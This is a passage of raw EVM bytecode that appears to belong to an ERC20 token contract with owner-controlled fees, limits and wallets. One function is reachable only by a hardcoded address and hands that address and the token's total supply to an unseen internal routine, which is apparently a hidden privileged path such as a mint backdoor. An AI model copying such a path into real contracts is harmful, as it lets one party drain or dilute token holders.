6308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000319573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033f919062000f5d565b6040518363ffffffff1660e01b81526004016200035e92919062000fa0565b6020604051808303816000875af11580156200037e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a4919062000f5d565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050620003ec60a05160016200066e60201b60201c565b60006b033b2e3c9fd0803ce8000000905080600681905550806007819055508060088190555080600a8190555060006012819055506000601381905550600060148190555060145460135460125462000446919062000ffc565b62000452919062000ffc565b60118190555060006016819055506000601781905550600060188190555060185460175460165462000485919062000ffc565b62000491919062000ffc565b601581905550620004aa836001620005d860201b60201c565b620004bd306001620005d860201b60201c565b620004d261dead6001620005d860201b60201c565b620004e58360016200072160201b60201c565b620004f83060016200072160201b60201c565b6200050d61dead60016200072160201b60201c565b73c00bedfd78d649d00aadd0b6e5091751d200eeb4600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005b683826200086e60201b60201c565b620005c783620009be60201b60201c565b50505062001259565b600033905090565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd674682826040516200066292919062001054565b60405180910390a15050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006d78282620005d860201b60201c565b8015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b62000731620005d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620007c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007ba90620010e2565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000862919062001104565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008e0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008d79062001171565b60405180910390fd5b8060026000828254620008f4919062000ffc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200094b919062000ffc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009b29190620011a4565b60405180910390a35050565b620009ce620005d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a5790620010e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000ad2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac99062001237565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c1457607f821691505b60208210810362000c2a5762000c2962000bcc565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c947fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c55565b62000ca0868362000c55565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000ced62000ce762000ce18462000cb8565b62000cc2565b62000cb8565b9050919050565b6000819050919050565b62000d098362000ccc565b62000d2162000d188262000cf4565b84845462000c62565b825550505050565b600090565b62000d3862000d29565b62000d4581848462000cfe565b505050565b5b8181101562000d6d5762000d6160008262000d2e565b60018101905062000d4b565b5050565b601f82111562000dbc5762000d868162000c30565b62000d918462000c45565b8101602085101562000da1578190505b62000db962000db08562000c45565b83018262000d4a565b50505b505050565b600082821c905092915050565b600062000de16000198460080262000dc1565b1980831691505092915050565b600062000dfc838362000dce565b9150826002028217905092915050565b62000e178262000b92565b67ffffffffffffffff81111562000e335762000e3262000b9d565b5b62000e3f825462000bfb565b62000e4c82828562000d71565b600060209050601f83116001811462000e84576000841562000e6f578287015190505b62000e7b858262000dee565b86555062000eeb565b601f19841662000e948662000c30565b60005b8281101562000ebe5784890151825560018201915060208501945060208101905062000e97565b8683101562000ede578489015162000eda601f89168262000dce565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f258262000ef8565b9050919050565b62000f378162000f18565b811462000f4357600080fd5b50565b60008151905062000f578162000f2c565b92915050565b60006020828403121562000f765762000f7562000ef3565b5b600062000f868482850162000f46565b91505092915050565b62000f9a8162000f18565b82525050565b600060408201905062000fb7600083018562000f8f565b62000fc6602083018462000f8f565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620010098262000cb8565b9150620010168362000cb8565b925082820190508082111562001031576200103062000fcd565b5b92915050565b60008115159050919050565b6200104e8162001037565b82525050565b60006040820190506200106b600083018562000f8f565b6200107a602083018462001043565b9392505050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620010ca60208362001081565b9150620010d78262001092565b602082019050919050565b60006020820190508181036000830152620010fd81620010bb565b9050919050565b60006020820190506200111b600083018462001043565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001159601f8362001081565b9150620011668262001121565b602082019050919050565b600060208201905081810360008301526200118c816200114a565b9050919050565b6200119e8162000cb8565b82525050565b6000602082019050620011bb600083018462001193565b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006200121f60268362001081565b91506200122c82620011c1565b604082019050919050565b60006020820190508181036000830152620012528162001210565b9050919050565b60805160a051615fde620012be600039600081816112be0152818161165d01528181611dc60152613142015260008181610ded015281816130eb015281816143e6015281816144c7015281816144ee0152818161458a01526145b10152615fde6000f3fe60806040526004361061036f5760003560e01c8063941fa5cd116101c6578063d85ba063116100f7578063ee40166e11610095578063f5648a4f1161006f578063f5648a4f14610c83578063f637434214610c9a578063f8a25a9414610cc5578063fb002c9714610cf057610376565b8063ee40166e14610c04578063f11a24d314610c2f578063f2fde38b14610c5a57610376565b8063e2f45605116100d1578063e2f4560514610b6c578063e884f26014610b97578063e98d8d1514610bae578063ea4cfe1214610bd957610376565b8063d85ba06314610adb578063dc3f0d0f14610b06578063dd62ed3e14610b2f57610376565b8063b62496f511610164578063c17b5b8c1161013e578063c17b5b8c14610a35578063c18bc19514610a5e578063c876d0b914610a87578063d257b34f14610ab257610376565b8063b62496f5146109a4578063bbc0c742146109e1578063c024666814610a0c57610376565b8063a1883d26116101a0578063a1883d26146108d6578063a457c2d7146108ff578063a9059cbb1461093c578063aa4bde281461097957610376565b8063941fa5cd1461085757806395d89b41146108825780639a7a23d6146108ad57610376565b80635a139dd4116102a0578063751039fc1161023e5780638366e79a116102185780638366e79a146107ad57806388e765ff146107ea5780638a8c523c146108155780638da5cb5b1461082c57610376565b8063751039fc146107445780637571336a1461075b5780638095d5641461078457610376565b80636d7adcad1161027a5780636d7adcad1461069a5780636ddd1713146106c557806370a08231146106f0578063715018a61461072d57610376565b80635a139dd41461061957806366d602ae146106445780636a486a8e1461066f57610376565b80632be32b611161030d578063499b8394116102e7578063499b83941461056f57806349bd5a5e146105985780634a62bb65146105c35780634f77f6c0146105ee57610376565b80632be32b61146104de578063313ce56714610507578063395093511461053257610376565b80631694505e116103495780631694505e1461042057806318160ddd1461044b5780631a8145bb1461047657806323b872dd146104a157610376565b806306fdde031461037b578063095ea7b3146103a657806310d5de53146103e357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610d1b565b60405161039d91906146f0565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906147ab565b610dad565b6040516103da9190614806565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190614821565b610dcb565b6040516104179190614806565b60405180910390f35b34801561042c57600080fd5b50610435610deb565b60405161044291906148ad565b60405180910390f35b34801561045757600080fd5b50610460610e0f565b60405161046d91906148d7565b60405180910390f35b34801561048257600080fd5b5061048b610e19565b60405161049891906148d7565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c391906148f2565b610e1f565b6040516104d59190614806565b60405180910390f35b3480156104ea57600080fd5b5061050560048036038101906105009190614945565b610f17565b005b34801561051357600080fd5b5061051c61107a565b604051610529919061498e565b60405180910390f35b34801561053e57600080fd5b50610559600480360381019061055491906147ab565b611083565b6040516105669190614806565b60405180910390f35b34801561057b57600080fd5b5061059660048036038101906105919190614821565b61112f565b005b3480156105a457600080fd5b506105ad6112bc565b6040516105ba91906149b8565b60405180910390f35b3480156105cf57600080fd5b506105d86112e0565b6040516105e59190614806565b60405180910390f35b3480156105fa57600080fd5b506106036112f3565b60405161061091906148d7565b60405180910390f35b34801561062557600080fd5b5061062e6112f9565b60405161063b91906148d7565b60405180910390f35b34801561065057600080fd5b506106596112ff565b60405161066691906148d7565b60405180910390f35b34801561067b57600080fd5b50610684611305565b60405161069191906148d7565b60405180910390f35b3480156106a657600080fd5b506106af61130b565b6040516106bc91906148d7565b60405180910390f35b3480156106d157600080fd5b506106da611311565b6040516106e79190614806565b60405180910390f35b3480156106fc57600080fd5b5061071760048036038101906107129190614821565b611324565b60405161072491906148d7565b60405180910390f35b34801561073957600080fd5b5061074261136c565b005b34801561075057600080fd5b506107596114c4565b005b34801561076757600080fd5b50610782600480360381019061077d91906149ff565b6115bf565b005b34801561079057600080fd5b506107ab60048036038101906107a69190614a3f565b611745565b005b3480156107b957600080fd5b506107d460048036038101906107cf9190614a92565b61185f565b6040516107e19190614806565b60405180910390f35b3480156107f657600080fd5b506107ff611b13565b60405161080c91906148d7565b60405180910390f35b34801561082157600080fd5b5061082a611b19565b005b34801561083857600080fd5b50610841611c6b565b60405161084e91906149b8565b60405180910390f35b34801561086357600080fd5b5061086c611c95565b60405161087991906148d7565b60405180910390f35b34801561088e57600080fd5b50610897611c9b565b6040516108a491906146f0565b60405180910390f35b3480156108b957600080fd5b506108d460048036038101906108cf91906149ff565b611d2d565b005b3480156108e257600080fd5b506108fd60048036038101906108f89190614821565b611e60565b005b34801561090b57600080fd5b50610926600480360381019061092191906147ab565b611fed565b6040516109339190614806565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e91906147ab565b6120d8565b6040516109709190614806565b60405180910390f35b34801561098557600080fd5b5061098e6120f6565b60405161099b91906148d7565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190614821565b6120fc565b6040516109d89190614806565b60405180910390f35b3480156109ed57600080fd5b506109f661211c565b604051610a039190614806565b60405180910390f35b348015610a1857600080fd5b50610a336004803603810190610a2e91906149ff565b61212f565b005b348015610a4157600080fd5b50610a5c6004803603810190610a579190614a3f565b61226f565b005b348015610a6a57600080fd5b50610a856004803603810190610a809190614945565b612389565b005b348015610a9357600080fd5b50610a9c6124ec565b604051610aa99190614806565b60405180910390f35b348015610abe57600080fd5b50610ad96004803603810190610ad49190614945565b6124ff565b005b348015610ae757600080fd5b50610af0612667565b604051610afd91906148d7565b60405180910390f35b348015610b1257600080fd5b50610b2d6004803603810190610b289190614945565b61266d565b005b348015610b3b57600080fd5b50610b566004803603810190610b519190614a92565b6127d0565b604051610b6391906148d7565b60405180910390f35b348015610b7857600080fd5b50610b81612857565b604051610b8e91906148d7565b60405180910390f35b348015610ba357600080fd5b50610bac61285d565b005b348015610bba57600080fd5b50610bc3612911565b604051610bd091906149b8565b60405180910390f35b348015610be557600080fd5b50610bee612937565b604051610bfb91906149b8565b60405180910390f35b348015610c1057600080fd5b50610c1961295d565b604051610c2691906148d7565b60405180910390f35b348015610c3b57600080fd5b50610c44612963565b604051610c5191906148d7565b60405180910390f35b348015610c6657600080fd5b50610c816004803603810190610c7c9190614821565b612969565b005b348015610c8f57600080fd5b50610c98612b2f565b005b348015610ca657600080fd5b50610caf612bd8565b604051610cbc91906148d7565b60405180910390f35b348015610cd157600080fd5b50610cda612bde565b604051610ce791906148d7565b60405180910390f35b348015610cfc57600080fd5b50610d05612be4565b604051610d1291906148d7565b60405180910390f35b606060038054610d2a90614b01565b80601f0160208091040260200160405190810160405280929190818152602001828054610d5690614b01565b8015610da35780601f10610d7857610100808354040283529160200191610da3565b820191906000526020600020905b815481529060010190602001808311610d8657829003601f168201915b5050505050905090565b6000610dc1610dba612bea565b8484612bf2565b6001905092915050565b601d6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b601a5481565b6000610e2c848484612dbb565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e77612bea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90614ba4565b60405180910390fd5b610f0b85610f03612bea565b858403612bf2565b60019150509392505050565b610f1f612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa590614c10565b60405180910390fd5b670de0b6b3a76400006103e86001610fc4610e0f565b610fce9190614c5f565b610fd89190614cd0565b610fe29190614cd0565b811015611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90614d73565b60405180910390fd5b670de0b6b3a7640000816110389190614c5f565b6006819055507ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de4100960065460405161106f91906148d7565b60405180910390a150565b60006012905090565b6000611125611090612bea565b84846001600061109e612bea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111209190614d93565b612bf2565b6001905092915050565b611137612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122c90614e39565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f4efa56652237561d0f1fd31311aeaaa41f3b754a461545ed3cf6ced5876d298260405160405180910390a250565b7f000000000000000000000000000000000000000000000000000000000000000081565b600e60009054906101000a900460ff1681565b60165481565b60125481565b60075481565b60155481565b601b5481565b600e60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611374612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fa90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6114cc612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461155b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155290614c10565b60405180910390fd5b6000600e60006101000a81548160ff0219169083151502179055506000601060006101000a81548160ff0219169083151502179055507fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c60405160405180910390a1565b6115c7612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d90614c10565b60405180910390fd5b806116ea577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e090614ecb565b60405180910390fd5b5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61174d612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d390614c10565b60405180910390fd5b8260128190555081601381905550806014819055506014546013546012546118049190614d93565b61180e9190614d93565b601181905550600f601154111561185a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185190614f37565b60405180910390fd5b505050565b6000611869612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ef90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e90614fa3565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cc9061500f565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611a1091906149b8565b602060405180830381865afa158015611a2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a519190615044565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401611a8e929190615071565b6020604051808303816000875af1158015611aad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad191906150af565b91507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e4388482604051611b04929190615071565b60405180910390a15092915050565b60065481565b611b21612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba790614c10565b60405180910390fd5b600e60019054906101000a900460ff1615611c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf790615128565b60405180910390fd5b6001600e60016101000a81548160ff0219169083151502179055506001600e60026101000a81548160ff02191690831515021790555043600d819055507fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb760405160405180910390a1565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b606060048054611caa90614b01565b80601f0160208091040260200160405190810160405280929190818152602001828054611cd690614b01565b8015611d235780601f10611cf857610100808354040283529160200191611d23565b820191906000526020600020905b815481529060010190602001808311611d0657829003601f168201915b5050505050905090565b611d35612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbb90614c10565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e49906151ba565b60405180910390fd5b611e5c8282613bbd565b5050565b611e68612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eee90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5d90615226565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167ff95a3f3be1ad3ec3d252a63182a8332b013f2251a59a30a03ecd260cbe263cc260405160405180910390a250565b60008060016000611ffc612bea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156120b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b0906152b8565b60405180910390fd5b6120cd6120c4612bea565b85858403612bf2565b600191505092915050565b60006120ec6120e5612bea565b8484612dbb565b6001905092915050565b60085481565b601e6020528060005260406000206000915054906101000a900460ff1681565b600e60019054906101000a900460ff1681565b612137612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd90614c10565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516122639190614806565b60405180910390a25050565b612277612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fd90614c10565b60405180910390fd5b82601681905550816017819055508060188190555060185460175460165461232e9190614d93565b6123389190614d93565b60158190555060146015541115612384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237b90615324565b60405180910390fd5b505050565b612391612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241790614c10565b60405180910390fd5b670de0b6b3a76400006103e86003612436610e0f565b6124409190614c5f565b61244a9190614cd0565b6124549190614cd0565b811015612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248d906153b6565b60405180910390fd5b670de0b6b3a7640000816124aa9190614c5f565b6008819055507fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc6008546040516124e191906148d7565b60405180910390a150565b601060009054906101000a900460ff1681565b612507612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d90614c10565b60405180910390fd5b620186a060016125a4610e0f565b6125ae9190614c5f565b6125b89190614cd0565b8110156125fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f190615448565b60405180910390fd5b6103e86001612607610e0f565b6126119190614c5f565b61261b9190614cd0565b81111561265d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612654906154da565b60405180910390fd5b80600a8190555050565b60115481565b612675612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fb90614c10565b60405180910390fd5b670de0b6b3a76400006103e8600161271a610e0f565b6127249190614c5f565b61272e9190614cd0565b6127389190614cd0565b81101561277a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127719061556c565b60405180910390fd5b670de0b6b3a76400008161278e9190614c5f565b6007819055507f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e6007546040516127c591906148d7565b60405180910390a150565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b612865612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128eb90614c10565b60405180910390fd5b6000601060006101000a81548160ff021916908315150217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b60135481565b612971612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f790614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a66906155fe565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b73c00bedfd78d649d00aadd0b6e5091751d200eeb473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba89061500f565b60405180910390fd5b612bd673c00bedfd78d649d00aadd0b6e5091751d200eeb4612bd1610e0f565b613c68565b565b60175481565b60185481565b60195481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5890615690565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc790615722565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612dae91906148d7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e21906157b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9090615846565b60405180910390fd5b60008111612edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed3906158b2565b60405180910390fd5b600e60009054906101000a900460ff161561364557612ef9611c6b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612f675750612f37611c6b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612fa05750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612fda575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561